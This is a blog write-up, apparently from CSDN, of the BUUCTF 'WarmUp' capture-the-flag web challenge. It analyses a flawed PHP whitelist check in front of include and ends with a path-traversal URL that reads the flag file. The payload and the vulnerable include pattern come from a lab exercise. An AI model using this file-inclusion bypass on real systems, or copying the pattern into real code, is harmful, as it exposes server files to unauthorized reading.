【BUUCTF】Web之[HCTF 2018]WarmUp 1

最新推荐文章于 2025-06-16 18:12:17 发布

酥酥～

最新推荐文章于 2025-06-16 18:12:17 发布

阅读量1.3k

点赞数

CC 4.0 BY-SA版权

分类专栏： BUUCTF之Web 文章标签： php ctf BUUCTF 代码审计

本文链接：https://blog.youkuaiyun.com/qq_45972928/article/details/124545192

BUUCTF之Web 专栏收录该内容

8 篇文章

订阅专栏

这篇博客详细记录了一次PHP代码审计的过程，作者首先从网页源码中找到注释的php文件，然后尝试访问source.php并分析其代码逻辑。代码主要检查file参数是否为空及是否为字符串，并通过emmm类的checkFile方法进行安全检测。通过分析，作者成功利用路径遍历漏洞访问到了hint.php，并最终揭示flag位于ffffllllaaaagggg文件中。整个过程展示了PHP安全漏洞的探测和利用技巧。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1、首先打开题目链接

2、因为是php代码审计，所以我们尝试寻找代码。先查看网页源码这里发现一个注释的php文件

3、尝试对source.php进行访问

4、出现了php代码，进行代码分析 ① 观察参数file，首先file不能为空，其次要满足是字符串类型 php if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ② file满足条件便开始传入emmm类下的checkfile()方法,进行代码检测,如果检测通过,便可以进入file变量的目录中.

        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; 			//判断语句,isset($page) 判 断 传进的变量已经设置，且不为NNUL,
is_string($page)判断变量为字符串类型.
          if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

			//判断变量page在数组whitelist中
            if (in_array($page, $whitelist)) {
                return true;
            }

			//mb_strpos(a,b)，第二个变量在前一个变量出现的位置. 			//mb_substr(str, start,
length)截取函数，开始位置为start设置，常委为length，返回到_page中
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );

			//判断变量page在数组whitelist中
            if (in_array($_page, $whitelist)) {
                return true;
            }
            
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        } ```

5、进入hint.php flag在文件ffffllllaaaagggg中

6、尝试http://20e863c3-2c38-498c-b466-6d075e972c36.node4.buuoj.cn:81/source.php?file=source.php?../ffffllllaaaagggg，不断添加…/直到进入文件
http://20e863c3-2c38-498c-b466-6d075e972c36.node4.buuoj.cn:81/source.php?file=source.php?/…/…/…/…/…/…/…/…/ffffllllaaaagggg